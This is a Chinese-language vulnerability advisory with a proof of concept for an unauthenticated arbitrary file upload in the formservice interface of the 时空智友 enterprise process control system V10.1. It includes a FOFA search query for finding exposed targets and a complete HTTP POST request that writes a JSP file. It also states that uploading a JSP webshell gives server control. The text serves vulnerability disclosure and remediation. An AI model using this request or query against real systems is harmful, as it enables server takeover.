前言
此文章仅用于技术交流,严禁用于对外发起恶意攻击!!!
一、产品简介
时空智友企业流程化管控系统是一款企业信息管理软件,致力于协助大健康企业构建内部信息化,解决GSP管理、多组织管理、财务管理、税控管理、线上线下一体化等问题。 该系统可以帮助企业实现流程化管控,提高工作效率和管理水平。
二、漏洞描述
时空智友企业流程化管控系统 formservice接口处存在任意文件上传漏洞,未经认证的攻击者可通过此接口上传后门文件,最终可导致服务器失陷。
三、影响范围
时空智友 V10.1
四、复现环境
FOFA:app=“时空智友V10.1”
五、漏洞复现
1.访问存在漏洞的网站,抓包
2.POC
POST /formservice?service=attachment.write&isattach=false&filename=c.jsp HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 3
ccc
3.访问http://your-ip/form/temp/回显的文件名,成功
六、漏洞利用
直接上传jsp马,即可获得服务器权限,这里不再演示
七、修复建议
限制外网访问此系统,更新系统至安全版本
参考链接
https://blog.csdn.net/qq_41904294/article/details/132419148